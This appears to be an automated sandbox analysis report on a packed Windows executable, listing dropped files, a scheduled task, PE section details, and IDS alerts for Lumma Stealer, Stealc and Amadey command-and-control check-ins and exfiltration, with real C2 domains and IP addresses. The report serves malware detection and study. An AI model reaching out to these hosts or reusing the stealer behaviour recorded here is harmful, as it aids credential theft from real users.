Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.03535756160686293
Encrypted:	false
SSDEEP:	3:GtlstF8hg8gixQ4/tlstF8hg8gixIZ89//alEl:GtWt+RgSQ4/tWt+RgSIZ89XuM
MD5:	2DC32E9B8414E15582EE5F3C0DF9CD45
SHA1:	F11B1BE577180113A5E8A77B7B87B398256F7FF0
SHA-256:	5A87F5CBD6338395FD31CDA09936FE5B6188C19FDB3C0F50A6F3D65AB82D1F38
SHA-512:	1AD5F21E00899EDCA718FEBA808D699AF6CA4E85534644120A0E727098F793FE129D0729BB1FF6BACFE3E8F419C68434D029B029EB3F0F5A770BC013087A19DF
Malicious:	false
Preview:	..-.....................+'....l.Tu...TP.........-.....................+'....l.Tu...TP...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	32824
Entropy (8bit):	0.03949571425302721
Encrypted:	false
SSDEEP:	3:Ol1zbXX5t6xLfEWll8rEXsxdwhml8XW3R2:KhTXqLf1ll8dMhm93w
MD5:	85A31CBA153AC35F043D82E773CCDE3F
SHA1:	470068D47FA56BF59B35EF062A56ED6417BD8614
SHA-256:	87D4AFF2E2F1EB124ACFB7F319AA6DB0F8C186E0D080B67A19EFA1609333921D
SHA-512:	7F944102E5F54860451989D89CF921523BFD81B103A3961039CE57EC504B36D0F9DE627589E6308CE172CFAAE36BCD1B654E9EC6034239FDC2A08B8654080C4E
Malicious:	false
Preview:	7....-...........Tu...TP.<W....X.........Tu...TP.'+l...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	11830
Entropy (8bit):	5.462288913378615
Encrypted:	false
SSDEEP:	192:jnPOeRnLYbBp6QJ0aX+H6SEXK5Nwa5RHWNBw8d2Sl:TDeBJUasHHEwD0
MD5:	BF4DBC1DA85C996F85D1D0F9FC379408
SHA1:	CC46B06942DFEAAC74D80338DED6EACD10B1BF83
SHA-256:	8267C805DD49AE62B0C63E3ABB2ABB167934E36E260E2B78EAE1820F77CA08E8
SHA-512:	866B652C956B48EF0CFE72C1657109251FAA2A69958E77D82F733D0D898CE9862F828E4254554CEDAE373E855767870D1E21942E92B4CC91DCC3D88B23770C22
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	11830
Entropy (8bit):	5.462288913378615
Encrypted:	false
SSDEEP:	192:jnPOeRnLYbBp6QJ0aX+H6SEXK5Nwa5RHWNBw8d2Sl:TDeBJUasHHEwD0
MD5:	BF4DBC1DA85C996F85D1D0F9FC379408
SHA1:	CC46B06942DFEAAC74D80338DED6EACD10B1BF83
SHA-256:	8267C805DD49AE62B0C63E3ABB2ABB167934E36E260E2B78EAE1820F77CA08E8
SHA-512:	866B652C956B48EF0CFE72C1657109251FAA2A69958E77D82F733D0D898CE9862F828E4254554CEDAE373E855767870D1E21942E92B4CC91DCC3D88B23770C22
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	53
Entropy (8bit):	4.136624295551173
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AY:Y9KQOy6Lb1BA+9
MD5:	EA8B62857DFDBD3D0BE7D7E4A954EC9A
SHA1:	B43BC4B3EA206A02EF8F63D5BFAD0C96BF2A3B2A
SHA-256:	792955295AE9C382986222C6731C5870BD0E921E7F7E34CC4615F5CD67F225DA
SHA-512:	076EE83534F42563046D25086166F82E1A3EC61840C113AEC67ABE2D8195DAA247D827D0C54E7E8F8A1BBF2D082A3763577587E84342EC160FF97905243E6D19
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	53
Entropy (8bit):	4.136624295551173
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AY:Y9KQOy6Lb1BA+9
MD5:	EA8B62857DFDBD3D0BE7D7E4A954EC9A
SHA1:	B43BC4B3EA206A02EF8F63D5BFAD0C96BF2A3B2A
SHA-256:	792955295AE9C382986222C6731C5870BD0E921E7F7E34CC4615F5CD67F225DA
SHA-512:	076EE83534F42563046D25086166F82E1A3EC61840C113AEC67ABE2D8195DAA247D827D0C54E7E8F8A1BBF2D082A3763577587E84342EC160FF97905243E6D19
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 6, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.0836444556178684
Encrypted:	false
SSDEEP:	24:JBwdh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:jnEUo9LXtR+JdkOnohYsl
MD5:	8B40B1534FF0F4B533AF767EB5639A05
SHA1:	63EDB539EA39AD09D701A36B535C4C087AE08CC9
SHA-256:	AF275A19A5C2C682139266065D90C237282274D11C5619A121B7BDBDB252861B
SHA-512:	54AF707698CED33C206B1B193DA414D630901762E88E37E99885A50D4D5F8DDC28367C9B401DFE251CF0552B4FA446EE28F78A97C9096AFB0F2898BFBB673B53
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4127411339479545
Encrypted:	false
SSDEEP:	6:wrP5tX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lFqlEt0:UnuQ1CGAFifXVFqut0
MD5:	1CC76F21BFE8B0994114724203282413
SHA1:	836433F33F3BCBD7049239D142CA44329B577BD9
SHA-256:	6D4714639E03916EE052DB0643B9D89E105976C05E789A69357C53A6A55A2054
SHA-512:	7FFB0933C845193BAC5112F2F7284A0EE5A42AEFDAF4F6E7DD18F70A22AC32819BEA842E0EA868B2E3BCEC2A7C0B96135137B338098B4165B459ADF28E303CDA
Malicious:	false
Preview:	.....i(.!..E.....l.AF.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0.................1.@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.52821248930643
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'994'688 bytes
MD5:	df1b115ceeeb801e6987b690be5de396
SHA1:	fde13ad5dca46dfb75934d89a90467d42c177472
SHA256:	bd9db41e76c3c708f9fd9bad467d5c1f07e564cd419dcd07edaa11fab56df9cd
SHA512:	86a4cda2c023ffdfcd34796346446b320034835ecb59c6fcd4cfa59d025d105af4d1f45269eecc978bb4dcee390ca8494ec08008c2ea7c821b4a8c22f0a24305
SSDEEP:	24576:/IOz/ElM7CcR/H3VUW6pXV/2R617p5VvKHk7Y77GfEHPcSBR5EqARZaniRTuCiOH:/ICcGecR/6XIYcX5EPKFzh1QcSejW
TLSH:	39D54B62B505B2CFE48E16BC913BCD42A95DC3FA4B154CC3A86D74BABD63CC215B6C18
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f.............................01...........@..........................`1......w....@.................................W...k..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x713000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66FFF14A [Fri Oct 4 13:44:42 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F4D44CE1CFAh
seto byte ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pushad
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5f057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5f1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x5d000	0x25e00	88bd80ddaede06ea47f2bb181fa7cb9e	False	0.9994778774752475	data	7.974874912426468	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5e000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5f000	0x1000	0x200	fe72def8b74193a84232a780098a7ce0	False	0.150390625	data	1.04205214219471	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
hinhbduz	0x60000	0x2b2000	0x2b1c00	ecd617108baa8ba0069aef571694cdf5	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
spippvyb	0x312000	0x1000	0x400	ed897959b8fcbc782dd2629dbd54de70	False	0.7646484375	data	6.002625300211526	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x313000	0x3000	0x2200	455f4d8226d9676546453a53216e2167	False	0.06560202205882353	DOS executable (COM)	0.8239637002982907	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-23T15:48:04.516994+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.5	62507	1.1.1.1	53	UDP
2024-10-23T15:48:04.531422+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.5	56217	1.1.1.1	53	UDP
2024-10-23T15:48:04.544710+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.5	55808	1.1.1.1	53	UDP
2024-10-23T15:48:04.556126+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.5	60795	1.1.1.1	53	UDP
2024-10-23T15:48:04.576616+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.5	62489	1.1.1.1	53	UDP
2024-10-23T15:48:04.587109+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.5	52723	1.1.1.1	53	UDP
2024-10-23T15:48:04.612075+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.5	55511	1.1.1.1	53	UDP
2024-10-23T15:48:04.624623+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.5	54544	1.1.1.1	53	UDP
2024-10-23T15:48:06.149159+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.5	49704	104.102.49.254	443	TCP
2024-10-23T15:48:07.000852+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49705	172.67.206.204	443	TCP
2024-10-23T15:48:07.000852+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	172.67.206.204	443	TCP
2024-10-23T15:48:08.158464+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49706	172.67.206.204	443	TCP
2024-10-23T15:48:08.158464+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49706	172.67.206.204	443	TCP
2024-10-23T15:48:13.832303+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49710	172.67.206.204	443	TCP
2024-10-23T15:48:14.978987+0200	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	49711	172.67.206.204	443	TCP
2024-10-23T15:48:17.626485+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49712	172.67.206.204	443	TCP
2024-10-23T15:48:23.273637+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49713	185.215.113.16	80	TCP
2024-10-23T15:48:27.452844+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49740	185.215.113.37	80	TCP
2024-10-23T15:49:05.353645+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49945	185.215.113.43	80	TCP
2024-10-23T15:49:08.705238+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49967	185.215.113.16	80	TCP
2024-10-23T15:49:16.167680+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.5	58046	1.1.1.1	53	UDP
2024-10-23T15:49:16.244206+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.5	58297	1.1.1.1	53	UDP
2024-10-23T15:49:16.259768+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.5	49292	1.1.1.1	53	UDP
2024-10-23T15:49:16.272873+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.5	65031	1.1.1.1	53	UDP
2024-10-23T15:49:16.284530+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.5	50553	1.1.1.1	53	UDP
2024-10-23T15:49:16.294865+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.5	50573	1.1.1.1	53	UDP
2024-10-23T15:49:16.311422+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.5	52498	1.1.1.1	53	UDP
2024-10-23T15:49:16.324848+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.5	58684	1.1.1.1	53	UDP
2024-10-23T15:49:16.939927+0200	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	49961	TCP
2024-10-23T15:49:17.811900+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.5	49988	104.102.49.254	443	TCP
2024-10-23T15:49:17.867467+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49989	185.215.113.43	80	TCP
2024-10-23T15:49:18.868631+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49990	185.215.113.16	80	TCP
2024-10-23T15:49:27.009267+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49991	185.215.113.43	80	TCP
2024-10-23T15:49:27.907747+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.5	57306	1.1.1.1	53	UDP
2024-10-23T15:49:27.920923+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.5	56873	1.1.1.1	53	UDP
2024-10-23T15:49:27.931997+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49992	185.215.113.16	80	TCP
2024-10-23T15:49:27.935072+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.5	60644	1.1.1.1	53	UDP
2024-10-23T15:49:27.947284+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.5	63391	1.1.1.1	53	UDP
2024-10-23T15:49:27.961104+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.5	60489	1.1.1.1	53	UDP
2024-10-23T15:49:27.984231+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.5	59213	1.1.1.1	53	UDP
2024-10-23T15:49:28.007040+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.5	59560	1.1.1.1	53	UDP
2024-10-23T15:49:28.017739+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.5	64698	1.1.1.1	53	UDP
2024-10-23T15:49:29.592516+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.5	49993	104.102.49.254	443	TCP
2024-10-23T15:49:29.904014+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49994	185.215.113.37	80	TCP
2024-10-23T15:49:32.032427+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49995	185.215.113.43	80	TCP
2024-10-23T15:49:33.123922+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49996	185.215.113.16	80	TCP
2024-10-23T15:49:33.123922+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49996	185.215.113.16	80	TCP
2024-10-23T15:49:36.680978+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50003	185.215.113.37	80	TCP
2024-10-23T15:49:36.816641+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.5	50819	1.1.1.1	53	UDP
2024-10-23T15:49:37.815806+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.5	50819	1.1.1.1	53	UDP
2024-10-23T15:49:38.509113+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.5	60556	1.1.1.1	53	TCP
2024-10-23T15:49:38.512244+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.5	49266	1.1.1.1	53	UDP
2024-10-23T15:49:38.543560+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.5	52827	1.1.1.1	53	UDP
2024-10-23T15:49:38.557169+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.5	49650	1.1.1.1	53	UDP
2024-10-23T15:49:38.569971+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.5	64114	1.1.1.1	53	UDP
2024-10-23T15:49:38.600031+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.5	53807	1.1.1.1	53	UDP
2024-10-23T15:49:38.622696+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.5	55530	1.1.1.1	53	UDP
2024-10-23T15:49:38.665530+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.5	57069	1.1.1.1	53	UDP
2024-10-23T15:49:38.803942+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50005	185.215.113.43	80	TCP
2024-10-23T15:49:40.349549+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.5	60559	104.102.49.254	443	TCP
2024-10-23T15:49:50.257640+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	60583	185.215.113.37	80	TCP
2024-10-23T15:50:01.100107+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	60588	185.215.113.37	80	TCP
2024-10-23T15:50:14.813992+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	60598	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 23, 2024 15:48:04.650991917 CEST	49704	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:48:04.651034117 CEST	443	49704	104.102.49.254	192.168.2.5
Oct 23, 2024 15:48:04.651123047 CEST	49704	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:48:04.652187109 CEST	49704	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:48:04.652199030 CEST	443	49704	104.102.49.254	192.168.2.5
Oct 23, 2024 15:48:05.512881994 CEST	443	49704	104.102.49.254	192.168.2.5
Oct 23, 2024 15:48:05.513019085 CEST	49704	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:48:05.521197081 CEST	49704	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:48:05.521234989 CEST	443	49704	104.102.49.254	192.168.2.5
Oct 23, 2024 15:48:05.521467924 CEST	443	49704	104.102.49.254	192.168.2.5
Oct 23, 2024 15:48:05.559533119 CEST	49704	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:48:05.603372097 CEST	443	49704	104.102.49.254	192.168.2.5
Oct 23, 2024 15:48:06.149312019 CEST	443	49704	104.102.49.254	192.168.2.5
Oct 23, 2024 15:48:06.149369955 CEST	443	49704	104.102.49.254	192.168.2.5
Oct 23, 2024 15:48:06.149410963 CEST	443	49704	104.102.49.254	192.168.2.5
Oct 23, 2024 15:48:06.149666071 CEST	49704	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:48:06.149738073 CEST	443	49704	104.102.49.254	192.168.2.5
Oct 23, 2024 15:48:06.149811983 CEST	49704	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:48:06.163949966 CEST	443	49704	104.102.49.254	192.168.2.5
